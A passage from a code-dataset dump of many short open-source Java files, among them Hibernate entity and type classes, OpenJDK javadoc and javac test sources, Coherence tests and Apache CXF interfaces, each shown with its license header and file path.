value = new JSOpaque("$wnd.GSearch." + type);
}
public JSOpaque getValue() {
return value;
}
} |
googlearchive/gwt-google-apis | 1,121 | maps/maps/src/com/google/gwt/maps/client/streetview/DataStreetviewCallback.java | /*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.gwt.maps.client.streetview;
/**
* An interface to be implemented in order to use with
* {@link StreetviewClient#getNearestPanorama(com.google.gwt.maps.client.geom.LatLng, DataStreetviewCallback)}
* and {@link StreetviewClient#getPanoramaById(String, DataStreetviewCallback)}.
*/
public interface DataStreetviewCallback {
/**
* Called when {@link StreetviewClient} query finishes.
*
* @param data data object with result of the query.
*/
public abstract void onDone(StreetviewData data);
}
|
googlearchive/leanback-showcase | 1,078 | app/src/main/java/android/support/v17/leanback/supportleanbackshowcase/app/room/di/presenter/PresenterSelectorKey.java | /*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package android.support.v17.leanback.supportleanbackshowcase.app.room.di.presenter;
import dagger.MapKey;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Documented
@Target(ElementType.METHOD)
@Retention(RetentionPolicy.RUNTIME)
@MapKey
public @interface PresenterSelectorKey {
Class<?> value();
}
|
hibernate/hibernate-ogm | 1,108 | core/src/test/java/org/hibernate/ogm/utils/TestSessionFactory.java | /*
* Hibernate OGM, Domain model persistence for NoSQL datastores
*
* License: GNU Lesser General Public License (LGPL), version 2.1 or later
* See the lgpl.txt file in the root directory or <http://www.gnu.org/licenses/lgpl-2.1.html>.
*/
package org.hibernate.ogm.utils;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
/**
* Causes the session factory used by a test executed with {@link OgmTestRunner} to be injected into the annotated
* field.
*
* @author Gunnar Morling
*/
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
public @interface TestSessionFactory {
/**
* The scope of the session factory.
*
* @return the scope of the session factory
*/
Scope scope() default Scope.TEST_CLASS;
public enum Scope {
/**
* The same session factory instance is used for all test methods of the given test
*/
TEST_CLASS,
/**
* A fresh session factory instance is used for each individual test methods of the given test
*/
TEST_METHOD;
}
}
|
hibernate/hibernate-ogm | 1,113 | core/src/main/java/org/hibernate/ogm/type/impl/LongMappedType.java | /*
* Hibernate OGM, Domain model persistence for NoSQL datastores
*
* License: GNU Lesser General Public License (LGPL), version 2.1 or later
* See the lgpl.txt file in the root directory or <http://www.gnu.org/licenses/lgpl-2.1.html>.
*/
package org.hibernate.ogm.type.impl;
import org.hibernate.MappingException;
import org.hibernate.engine.spi.Mapping;
import org.hibernate.ogm.type.descriptor.impl.LongMappedGridTypeDescriptor;
import org.hibernate.type.descriptor.java.LongTypeDescriptor;
/**
* Represents a {@link Long} type
*
* @author Davide D'Alto
*/
public class LongMappedType extends AbstractGenericBasicType<Long> {
public static final LongMappedType INSTANCE = new LongMappedType();
public LongMappedType() {
super( LongMappedGridTypeDescriptor.INSTANCE, LongTypeDescriptor.INSTANCE );
}
@Override
public String getName() {
return "long";
}
@Override
public String[] getRegistrationKeys() {
return new String[] { getName(), long.class.getName(), Long.class.getName() };
}
@Override
public int getColumnSpan(Mapping mapping) throws MappingException {
return 1;
}
}
|
hibernate/hibernate-ogm | 1,116 | core/src/main/java/org/hibernate/ogm/type/impl/IntegerType.java | /*
* Hibernate OGM, Domain model persistence for NoSQL datastores
*
* License: GNU Lesser General Public License (LGPL), version 2.1 or later
* See the lgpl.txt file in the root directory or <http://www.gnu.org/licenses/lgpl-2.1.html>.
*/
package org.hibernate.ogm.type.impl;
import org.hibernate.MappingException;
import org.hibernate.engine.spi.Mapping;
import org.hibernate.ogm.type.descriptor.impl.PassThroughGridTypeDescriptor;
import org.hibernate.type.descriptor.java.IntegerTypeDescriptor;
/**
* Represents an Integer type
*
* @author Emmanuel Bernard
*/
public class IntegerType extends AbstractGenericBasicType<Integer> {
public static final IntegerType INSTANCE = new IntegerType();
public IntegerType() {
super( PassThroughGridTypeDescriptor.INSTANCE, IntegerTypeDescriptor.INSTANCE );
}
@Override
public String getName() {
return "integer";
}
@Override
public String[] getRegistrationKeys() {
return new String[] { getName(), int.class.getName(), Integer.class.getName() };
}
@Override
public int getColumnSpan(Mapping mapping) throws MappingException {
return 1;
}
}
|
hibernate/hibernate-orm | 1,044 | hibernate-core/src/test/java/org/hibernate/orm/test/annotations/enumerated/mapkey/MapKeyEnumeratedTest.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.orm.test.annotations.enumerated.mapkey;
import org.hibernate.Session;
import org.junit.Test;
import org.hibernate.testing.junit4.BaseCoreFunctionalTestCase;
/**
* @author Steve Ebersole
*/
public class MapKeyEnumeratedTest extends BaseCoreFunctionalTestCase {
@Override
protected Class<?>[] getAnnotatedClasses() {
return new Class[] { User.class, SocialNetworkProfile.class };
}
@Test
public void testMapKeyEnumerated() {
Session s = openSession();
s.beginTransaction();
User user = new User("User1", SocialNetwork.STUB_NETWORK_NAME, "facebookId");
s.persist( user );
s.getTransaction().commit();
s.close();
s = openSession();
s.beginTransaction();
user = s.get( User.class, user.getId() );
s.getTransaction().commit();
s.close();
s = openSession();
s.beginTransaction();
user = s.get( User.class, user.getId() );
s.remove( user );
s.getTransaction().commit();
s.close();
}
}
|
hibernate/hibernate-orm | 1,056 | hibernate-core/src/test/java/org/hibernate/orm/test/associations/any/IntegerProperty.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.orm.test.associations.any;
import jakarta.persistence.Column;
import jakarta.persistence.Entity;
import jakarta.persistence.Id;
import jakarta.persistence.Table;
//tag::associations-any-property-example[]
@Entity
@Table(name="integer_property")
public class IntegerProperty implements Property<Integer> {
@Id
private Long id;
@Column(name = "`name`")
private String name;
@Column(name = "`value`")
private Integer value;
@Override
public String getName() {
return name;
}
@Override
public Integer getValue() {
return value;
}
//Getters and setters omitted for brevity
//end::associations-any-property-example[]
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public void setName(String name) {
this.name = name;
}
public void setValue(Integer value) {
this.value = value;
}
//tag::associations-any-property-example[]
}
//end::associations-any-property-example[]
|
hibernate/hibernate-orm | 1,058 | hibernate-core/src/test/java/org/hibernate/orm/test/mapping/converted/enums/InvalidEnumeratedJavaTypeTest.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.orm.test.mapping.converted.enums;
import jakarta.persistence.Entity;
import jakarta.persistence.Enumerated;
import jakarta.persistence.Id;
import org.hibernate.AnnotationException;
import org.hibernate.boot.MetadataSources;
import org.hibernate.testing.orm.junit.ServiceRegistry;
import org.hibernate.testing.orm.junit.ServiceRegistryScope;
import org.junit.jupiter.api.Test;
import static org.junit.Assert.fail;
/**
* @author Steve Ebersole
*/
@ServiceRegistry
public class InvalidEnumeratedJavaTypeTest {
@Test
public void testInvalidMapping(ServiceRegistryScope scope) {
MetadataSources metadataSources = new MetadataSources( scope.getRegistry() )
.addAnnotatedClass( TheEntity.class );
try {
metadataSources.buildMetadata();
fail( "Was expecting failure" );
}
catch (AnnotationException ignore) {
}
}
@Entity
public static class TheEntity {
@Id private Long id;
@Enumerated private Boolean yesNo;
}
}
|
hibernate/hibernate-orm | 1,059 | hibernate-core/src/test/java/org/hibernate/orm/test/annotations/reflection/BusTrip.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.orm.test.annotations.reflection;
import java.util.Date;
import java.util.List;
import java.util.Map;
import jakarta.persistence.EmbeddedId;
import jakarta.persistence.Entity;
/**
* @author Emmanuel Bernard
*/
@Entity
public class BusTrip {
private BusTripPk id;
private Availability status;
private byte[] serial;
private Date terminusTime;
private Map<String, SocialSecurityPhysicalAccount> players;
private List roads;
@EmbeddedId
public BusTripPk getId() {
return id;
}
public void setId(BusTripPk id) {
this.id = id;
}
public Availability getStatus() {
return status;
}
public void setStatus(Availability status) {
this.status = status;
}
public byte[] getSerial() {
return serial;
}
public void setSerial(byte[] serial) {
this.serial = serial;
}
public Date getTerminusTime() {
return terminusTime;
}
public void setTerminusTime(Date terminusTime) {
this.terminusTime = terminusTime;
}
}
|
hibernate/hibernate-orm | 1,060 | hibernate-core/src/test/java/org/hibernate/orm/test/bidi/SpecialAuction.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.orm.test.bidi;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
/**
* @author Jan Schatteman
*/
public class SpecialAuction {
private Long id;
private String description;
private List<AbstractBid> bids = new ArrayList<>();
private AbstractBid successfulBid;
private Date end;
public Date getEnd() {
return end;
}
public void setEnd(Date end) {
this.end = end;
}
public List<AbstractBid> getBids() {
return bids;
}
public void setBids(List<AbstractBid> bids) {
this.bids = bids;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public Long getId() {
return id;
}
public void setId(Long id) {
this.id = id;
}
public AbstractBid getSuccessfulBid() {
return successfulBid;
}
public void setSuccessfulBid(AbstractBid successfulBid) {
this.successfulBid = successfulBid;
}
}
|
hibernate/hibernate-orm | 1,076 | hibernate-core/src/main/java/org/hibernate/boot/models/annotations/internal/ImmutableAnnotation.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.boot.models.annotations.internal;
import java.lang.annotation.Annotation;
import java.util.Map;
import org.hibernate.annotations.Immutable;
import org.hibernate.models.spi.ModelsContext;
@SuppressWarnings({ "ClassExplicitlyAnnotation", "unused" })
@jakarta.annotation.Generated("org.hibernate.orm.build.annotations.ClassGeneratorProcessor")
public class ImmutableAnnotation implements Immutable {
/**
* Used in creating dynamic annotation instances (e.g. from XML)
*/
public ImmutableAnnotation(ModelsContext modelContext) {
}
/**
* Used in creating annotation instances from JDK variant
*/
public ImmutableAnnotation(Immutable annotation, ModelsContext modelContext) {
}
/**
* Used in creating annotation instances from Jandex variant
*/
public ImmutableAnnotation(Map<String, Object> attributeValues, ModelsContext modelContext) {
}
@Override
public Class<? extends Annotation> annotationType() {
return Immutable.class;
}
}
|
hibernate/hibernate-orm | 1,088 | hibernate-core/src/main/java/org/hibernate/boot/jaxb/hbm/spi/EntityInfo.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.boot.jaxb.hbm.spi;
import java.util.List;
/**
* Common interface for all entity mappings (root entity and sub-entity mappings).
*
* @author Steve Ebersole
*/
public interface EntityInfo extends ToolingHintContainer, ResultSetMappingContainer {
String getName();
String getEntityName();
String getProxy();
Boolean isAbstract();
Boolean isLazy();
int getBatchSize();
boolean isDynamicInsert();
boolean isDynamicUpdate();
boolean isSelectBeforeUpdate();
List<JaxbHbmTuplizerType> getTuplizer();
String getPersister();
JaxbHbmLoaderType getLoader();
JaxbHbmCustomSqlDmlType getSqlInsert();
JaxbHbmCustomSqlDmlType getSqlUpdate();
JaxbHbmCustomSqlDmlType getSqlDelete();
List<JaxbHbmSynchronizeType> getSynchronize();
List<JaxbHbmFetchProfileType> getFetchProfile();
List<JaxbHbmResultSetMappingType> getResultset();
List<JaxbHbmNamedNativeQueryType> getSqlQuery();
List<JaxbHbmNamedQueryType> getQuery();
List getAttributes();
}
|
hibernate/hibernate-search | 1,045 | backend/elasticsearch/src/main/java/org/hibernate/search/backend/elasticsearch/lowlevel/index/mapping/impl/NamedDynamicTemplate.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.search.backend.elasticsearch.lowlevel.index.mapping.impl;
import com.google.gson.GsonBuilder;
import com.google.gson.annotations.JsonAdapter;
/**
* An object representing an Elasticsearch dynamic template with a name.
* <p>
* This is the outer object in the array of templates, wrapping a {@link DynamicTemplate}.
* See https://www.elastic.co/guide/en/elasticsearch/reference/current/dynamic-templates.html
*/
@JsonAdapter(NamedDynamicTemplateJsonAdapterFactory.class)
public class NamedDynamicTemplate {
public final String name;
public final DynamicTemplate template;
public NamedDynamicTemplate(String name, DynamicTemplate template) {
this.name = name;
this.template = template;
}
@Override
public String toString() {
return new GsonBuilder().setPrettyPrinting().create().toJson( this );
}
public String getName() {
return name;
}
public DynamicTemplate getTemplate() {
return template;
}
}
|
hibernate/hibernate-search | 1,075 | backend/elasticsearch/src/main/java/org/hibernate/search/backend/elasticsearch/search/query/ElasticsearchSearchResult.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.search.backend.elasticsearch.search.query;
import org.hibernate.search.engine.search.query.SearchResult;
import org.hibernate.search.util.common.annotation.Incubating;
import com.google.gson.JsonObject;
public interface ElasticsearchSearchResult<H> extends SearchResult<H> {
/**
* @return The body of the response to the search request as a {@link JsonObject}.
* The returned object must not be modified; use {@link JsonObject#deepCopy()} if necessary.
* <p>
* <strong>WARNING:</strong> The content of the response may change depending on
* the version of Elasticsearch, depending on which Hibernate Search features are used,
* and even depending on how Hibernate Search features are implemented.
* Thus this method cannot be guaranteed to return the same data when upgrading Hibernate Search,
* even for micro upgrades ({@code x.y.z} to {@code x.y.(z+1)}).
* Use this at your own risk.
*/
@Incubating
JsonObject responseBody();
}
|
hibernate/hibernate-tools | 1,102 | orm/src/test/java/org/hibernate/tool/api/export/ExporterTypeTest.java | /*
* Hibernate Tools, Tooling for your Hibernate Projects
*
* Copyright 2018-2025 Red Hat, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.hibernate.tool.api.export;
import static org.junit.jupiter.api.Assertions.assertEquals;
import org.junit.jupiter.api.Test;
public class ExporterTypeTest {
@Test
public void testExporterType() {
assertEquals(
"org.hibernate.tool.internal.export.java.JavaExporter",
ExporterType.JAVA.className());
assertEquals(
"org.hibernate.tool.internal.export.cfg.CfgExporter",
ExporterType.CFG.className());
}
}
|
hibernate/hibernate-validator | 1,053 | engine/src/test/java/org/hibernate/validator/test/internal/engine/groups/defaultgroupsequenceprovider/User.java | /*
* SPDX-License-Identifier: Apache-2.0
* Copyright Red Hat Inc. and Hibernate Authors
*/
package org.hibernate.validator.test.internal.engine.groups.defaultgroupsequenceprovider;
import jakarta.validation.constraints.Pattern;
import org.hibernate.validator.constraints.Length;
import org.hibernate.validator.group.GroupSequenceProvider;
/**
* @author Kevin Pollet <kevin.pollet@serli.com> (C) 2011 SERLI
*/
@GroupSequenceProvider(DynamicGroupSequenceProvider.class)
public class User {
private boolean admin;
//Define message to avoid comparison problem with validation error message
//with a different locale than en
@Pattern(regexp = "\\w+", message = "must match \"{regexp}\"")
@Length(min = 10, max = 20, message = "length must be between {min} and {max}", groups = StrongCheck.class)
private String password;
public User(String password) {
this( password, false );
}
public User(String password, boolean admin) {
this.password = password;
this.admin = admin;
}
public boolean isAdmin() {
return admin;
}
}
|
openjdk/jdk8 | 1,150 | langtools/test/com/sun/javadoc/testMemberInheritence/inheritDist/B.java | /*
* Copyright (c) 2005, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package inheritDist;
public interface B extends A {
/**
* m1-B
*/
void m1();
}
|
openjdk/jdk8 | 1,162 | langtools/test/com/sun/javadoc/testBadSourceFile/C1.java | /*
* Copyright (c) 2003, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.package1;
/**
* This is a comment.
*/
public class C1 {
public void foo(int p) {}
}
|
openjdk/jdk8 | 1,162 | langtools/test/com/sun/javadoc/testLambdaFeature/pkg/B.java | /*
* Copyright (c) 2012, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package pkg;
public abstract class B {
public abstract void method1();
public void method2() { }
}
|
openjdk/jdk8 | 1,168 | langtools/test/tools/javac/diags/examples/Location.java | /*
* Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
// key: compiler.err.cant.resolve.location
// key: compiler.misc.location
class Location {
{ Object o = v; }
}
|
openjdk/jtreg | 1,191 | test/autovm/HelloJava.java | /*
* Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
* @test
*/
public class HelloJava {
public static void main(String... args) {
System.out.println("Hello, Java");
}
}
|
oracle/coherence | 1,098 | prj/test/functional/transformer/src/main/java/transformer/DistPoolMapEventTransformerTests.java | /*
* Copyright (c) 2000, 2022, Oracle and/or its affiliates.
*
* Licensed under the Universal Permissive License v 1.0 as shown at
* https://oss.oracle.com/licenses/upl.
*/
package transformer;
import org.junit.BeforeClass;
/**
* A collection of functional tests for the MapEventTransformer functionality
* that use the "dist-pool-test1" cache.
*
* @author gg 2008.03.14
*/
public class DistPoolMapEventTransformerTests
extends AbstractMapEventTransformerTests
{
// ----- constructors ---------------------------------------------------
/**
* Default constructor.
*/
public DistPoolMapEventTransformerTests()
{
super("dist-pool-test1");
}
// ----- test lifecycle -------------------------------------------------
/**
* Initialize the test class.
*/
@BeforeClass
public static void _startup()
{
// this test requires local storage to be enabled
System.setProperty("coherence.distributed.localstorage", "true");
AbstractMapEventTransformerTests._startup();
}
}
|
oracle/coherence | 1,098 | prj/test/functional/transformer/src/main/java/transformer/NearPoolMapEventTransformerTests.java | /*
* Copyright (c) 2000, 2022, Oracle and/or its affiliates.
*
* Licensed under the Universal Permissive License v 1.0 as shown at
* https://oss.oracle.com/licenses/upl.
*/
package transformer;
import org.junit.BeforeClass;
/**
* A collection of functional tests for the MapEventTransformer functionality
* that use the "near-pool-test1" cache.
*
* @author gg 2008.03.14
*/
public class NearPoolMapEventTransformerTests
extends AbstractMapEventTransformerTests
{
// ----- constructors ---------------------------------------------------
/**
* Default constructor.
*/
public NearPoolMapEventTransformerTests()
{
super("near-pool-test1");
}
// ----- test lifecycle -------------------------------------------------
/**
* Initialize the test class.
*/
@BeforeClass
public static void _startup()
{
// this test requires local storage to be enabled
System.setProperty("coherence.distributed.localstorage", "true");
AbstractMapEventTransformerTests._startup();
}
}
|
oracle/coherence | 1,122 | prj/coherence-core/src/main/java/com/oracle/coherence/common/collections/ConcurrentLinkedQueue.java | /*
* Copyright (c) 2000, 2020, Oracle and/or its affiliates.
*
* Licensed under the Universal Permissive License v 1.0 as shown at
* http://oss.oracle.com/licenses/upl.
*/
package com.oracle.coherence.common.collections;
/**
* ConcurrentLinkedQueue is a low-contention unbounded Queue implementation.
* <p>
* Unlike the java.util.concurrent collections, the ConcurrentLinkedQueue supports <tt>null</tt> elements.
* Note however that this queue does not support out-of-order element removal, and as such
* {@link #remove(Object)}, {@link #removeAll(java.util.Collection)}, {@link #retainAll(java.util.Collection)},
* and {@link java.util.Iterator#remove()} are not supported.
* </p>
*
* @param <V> the type of the values that will be stored in the queue
*
* @author mf 2014.01.09
*/
public class ConcurrentLinkedQueue<V>
extends java.util.concurrent.ConcurrentLinkedQueue<V>
{
// Note: this class is purely retained to conveniently modify the hierarchy
// of some internal queue implementations, while currently j.u.c.CLQ
// has proven to have better performance
} |
oracle/coherence | 1,132 | prj/coherence-core/src/main/java/com/tangosol/net/events/partition/Event.java | /*
* Copyright (c) 2000, 2020, Oracle and/or its affiliates.
*
* Licensed under the Universal Permissive License v 1.0 as shown at
* http://oss.oracle.com/licenses/upl.
*/
package com.tangosol.net.events.partition;
import com.tangosol.net.PartitionedService;
/**
* A PartitionedServiceEvent captures information concerning an operation on
* a PartitionedService. Sub interfaces provide more context on the event.
*
* @since Coherence 12.1.2
*
* @param <T> the type of event
*/
public interface Event<T extends Enum<T>>
extends com.tangosol.net.events.Event<T>
{
/**
* Return the {@link PartitionedServiceDispatcher} this event was
* raised by.
*
* @return the {@code PartitionedServiceDispatcher} this event was raised by
*/
@Override public PartitionedServiceDispatcher getDispatcher();
/**
* Return the {@link PartitionedService} this event was raised from.
*
* @return the {@code PartitionedService} this event was raised from
*/
default PartitionedService getService()
{
return getDispatcher().getService();
}
}
|
oracle/nosql | 1,147 | kvmain/src/main/java/oracle/kv/impl/security/login/TokenResolver.java | /*-
* Copyright (C) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
*
* This file was distributed by Oracle as part of a version of Oracle NoSQL
* Database made available at:
*
* http://www.oracle.com/technetwork/database/database-technologies/nosqldb/downloads/index.html
*
* Please see the LICENSE file included in the top-level directory of the
* appropriate version of Oracle NoSQL Database for a copy of the license and
* additional information.
*/
package oracle.kv.impl.security.login;
import javax.security.auth.Subject;
import oracle.kv.impl.security.SessionAccessException;
/**
* An abstract interface for determining the capabilities associated with
* a LoginToken.
*/
public interface TokenResolver {
/**
* Attempt to resolve a login token to a Subject.
* @param token the login token to resolve
* @return a Subject if token resolution succeeded, or null otherwise.
* @throws SessionAccessException if an operational failure prevents
* access to the session referenced by the token.
*/
Subject resolve(LoginToken token)
throws SessionAccessException;
}
|
oracle/nosql | 1,160 | kvmain/src/main/java/oracle/nosql/common/test/TestHook.java | /*-
* Copyright (C) 2011, 2022 Oracle and/or its affiliates. All rights reserved.
*
* This file was distributed by Oracle as part of a version of Oracle NoSQL
* Database made available at:
*
* http://www.oracle.com/technetwork/database/database-technologies/nosqldb/downloads/index.html
*
* Please see the LICENSE file included in the top-level directory of the
* appropriate version of Oracle NoSQL Database for a copy of the license and
* additional information.
*/
package oracle.nosql.common.test;
/**
* TestHook is used induce testing behavior that can't be provoked externally.
* For example, unit tests may use hooks to throw IOExceptions, or to cause
* waiting behavior.
*
* To use this, a unit test should extend TestHook with a class that overrides
* the desired method. The desired code will have a method that allows the unit
* test to specify a hook, and will execute the hook if it is non-null.
* This should be done within an assert like so:
*
* assert TestHookExecute.doHookIfSet(myTestHook, hookArg);
*
* See StorewideLoggingView for an example.
*/
public interface TestHook<T> {
public void doHook(T arg);
}
|
apache/cxf | 1,095 | rt/rs/security/oauth-parent/oauth2/src/main/java/org/apache/cxf/rs/security/oauth2/provider/DefaultResourceOwnerNameProvider.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.rs.security.oauth2.provider;
import org.apache.cxf.rs.security.oauth2.common.UserSubject;
public class DefaultResourceOwnerNameProvider implements ResourceOwnerNameProvider {
public String getName(UserSubject subject) {
return subject.getLogin();
}
}
|
apache/cxf | 1,097 | distribution/src/main/release/samples/jax_rs/tracing_opentracing/src/main/java/demo/jaxrs/tracing/GoogleBooksApi.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package demo.jaxrs.tracing;
import feign.Headers;
import feign.Param;
import feign.RequestLine;
import feign.Response;
public interface GoogleBooksApi {
@RequestLine("GET /books/v1/volumes?q={q}")
@Headers("Accept: application/json")
Response search(@Param("q") String query);
}
|
apache/cxf | 1,102 | systests/transport-undertow/src/test/java/org/apache/cxf/systest/http_undertow/websocket/BookNotFoundDetails.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.cxf.systest.http_undertow.websocket;
import jakarta.xml.bind.annotation.XmlRootElement;
@XmlRootElement
public class BookNotFoundDetails {
private long id;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
}
|
apache/derby | 1,124 | java/org.apache.derby.engine/org/apache/derby/impl/services/uuid/BasicUUIDGetter.java | /*
Derby - Class org.apache.derby.impl.services.uuid.BasicUUIDGetter
